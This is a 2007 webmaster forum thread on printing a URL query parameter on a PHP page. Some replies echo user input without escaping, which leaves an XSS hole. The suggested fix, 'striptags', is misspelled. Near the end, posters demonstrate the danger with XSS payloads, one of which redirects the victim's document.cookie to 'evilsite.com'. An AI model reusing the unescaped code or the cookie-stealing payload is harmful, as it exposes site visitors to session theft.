Reply
Old 02-01-2007, 11:29 AM Simple PHP question
handsome rob's Avatar
King Spam Talker

Posts: 1,028
Trades: 0
I call it simple because I can't imagine this should be too difficult. I'm not much of a web programmer though.

I want to display the search term used to find the entry page. 99% of my traffic for this page is PPC, so I can use a banner ID if I have to. The page is basic HTML and CSS. Any pointers?
handsome rob is offline
Reply With Quote
View Public Profile Visit handsome rob's homepage!
 
 
When You Register, These Ads Go Away!
Old 02-01-2007, 01:07 PM
webmaster4hire's Avatar
Experienced Talker

Posts: 30
Trades: 0
Handsome Rob,

if by 'entry page' you mean the referring page to the destination page (ie. where your PPC is sending visitors), you can get this info in the $_SERVER['HTTP_REFERER'] php variable. Be aware however that this info is not always available due to some browser setups.

Good luck,
Dylan
webmaster4hire is offline
Reply With Quote
View Public Profile
 
Old 02-01-2007, 02:52 PM
handsome rob's Avatar
King Spam Talker

Posts: 1,028
Trades: 0
Dylan--

Thanks for that.

When a user goes on google, searches for "blue widget handbook" and clicks on my AdWords ad, I want my page to display the words "blue widget handbook". Perhaps I should have been more clear about that.
handsome rob is offline
Reply With Quote
View Public Profile Visit handsome rob's homepage!
 
Old 02-01-2007, 02:53 PM
Junior Talker

Posts: 82
Trades: 0
Have you installed Google Analytics?
dprundle is offline
Reply With Quote
View Public Profile
 
Old 02-01-2007, 04:37 PM
handsome rob's Avatar
King Spam Talker

Posts: 1,028
Trades: 0
No, mainly because I'm not using Google Adwords.

If I were to enter my url as http://www.mysite.com/index.html?id=blue%20widgets

I'd want the page that comes up to display the words "blue widgets".
handsome rob is offline
Reply With Quote
View Public Profile Visit handsome rob's homepage!
 
Old 02-01-2007, 04:49 PM
tuxidomasx's Avatar
Junior Talker

Posts: 24
Trades: 0
oh.

you'd do something like this:

HTML Code:
<html><body>
     <?php
          $query_string = $_GET['id'];
          echo $query_string;
     ?>
</body></html>

so if you go to: yoursite.com/index.php?id=bluewidgets

you'd get a page with "bluewidgets" displayed on it
tuxidomasx is offline
Reply With Quote
View Public Profile
 
Old 02-01-2007, 08:38 PM
Junior Talker

Posts: 23
Trades: 0
The above will work but with a little extra code you can make it look much better with spaces and capitals.

edit the link in your adwords campaign to yoursite.com/index.php?r=blue-widgets

( the "-" will be translated into spaces )

on your index.php page ad the following at the very top.

Code:
<?
$r = $_GET['r']; // gets the referal
$r = striptags($r);
$r = str_replace('-',' ',$r); // replaces the - with a space so that when the page is viewed the title won't be "bluewidgets" it will be "blue widgets"
$r = ucwords($r); // this capitalizes the first letter of each word
?>
then where you want it to appear type in

Code:
<? echo $r; ?>
for example

Code:
<h1><? echo $r; ?></h1>
Hope this helps !
__________________
Guitar Videos :: Ibanez Guitars
imported_Jordan is offline
Reply With Quote
View Public Profile Visit imported_Jordan's homepage!
 
Old 02-01-2007, 08:40 PM
webmaster4hire's Avatar
Experienced Talker

Posts: 30
Trades: 0
tuxidomasx has a good solution but I'd be careful using this code as-is. To make his code bullet-proof, I'd add this:

Code:
     echo striptags($query_string);
otherwise you might end up with a nasty surprise!

Dylan
webmaster4hire is offline
Reply With Quote
View Public Profile
 
Old 02-01-2007, 08:43 PM
Junior Talker

Posts: 23
Trades: 0
true - I added that to my script to prevent injection
__________________
Guitar Videos :: Ibanez Guitars
imported_Jordan is offline
Reply With Quote
View Public Profile Visit imported_Jordan's homepage!
 
Old 02-01-2007, 10:12 PM
roeinstein's Avatar
Junior Talker

Posts: 6
Trades: 0
<?=$_REQUEST['id']?> would be the easiest :-)
__________________
Lee's Design Guy (see: eliteretreat.info and leedodd.com)
roeinstein is offline
Reply With Quote
View Public Profile Visit roeinstein's homepage!
 
Old 02-02-2007, 03:42 PM
handsome rob's Avatar
King Spam Talker

Posts: 1,028
Trades: 0
Wow I'll have to sift through all this over the weekend. thanks so much for all the responses.
handsome rob is offline
Reply With Quote
View Public Profile Visit handsome rob's homepage!
 
Old 02-03-2007, 12:48 PM
Ultra Talker

Posts: 407
Trades: 1
Quote:
Originally Posted by roeinstein View Post
<?=$_REQUEST['id']?> would be the easiest :-)
Easiest isn't always the best:
Code:
www.thesite.com/page.php?id=<script>alert('I stole your cookies! ' + document.cookie);</script>
Lucas3677 is offline
Reply With Quote
View Public Profile Visit Lucas3677's homepage!
 
Old 02-03-2007, 04:37 PM
roeinstein's Avatar
Junior Talker

Posts: 6
Trades: 0
Quote:
Originally Posted by Lucas View Post
Easiest isn't always the best:
Code:
www thesite com/page.php?id=<script>alert('I stole your cookies! ' + document.cookie);</script>
1.) I didn't say it was the best way. It's the easiest
2.) What is the big deal about pulling up your own cookies? I wouldn't consider that a huge security risk :-)
__________________
Lee's Design Guy (see: eliteretreat.info and leedodd.com)
roeinstein is offline
Reply With Quote
View Public Profile Visit roeinstein's homepage!
 
Old 02-03-2007, 08:01 PM
tuxidomasx's Avatar
Junior Talker

Posts: 24
Trades: 0
its a much bigger security risk than you think. lets say i sent you a link to his site where the URI was:

Code:
www thesite com/page.php?id=<script>window.location="http://evilsite.com/cs.php?cookie="+document.cookie;</script>
and you clicked on it

I'll be in your jar, stealing your cookies.
tuxidomasx is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Simple PHP question
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML

 


Page generated in 0.13597 seconds with 13 queries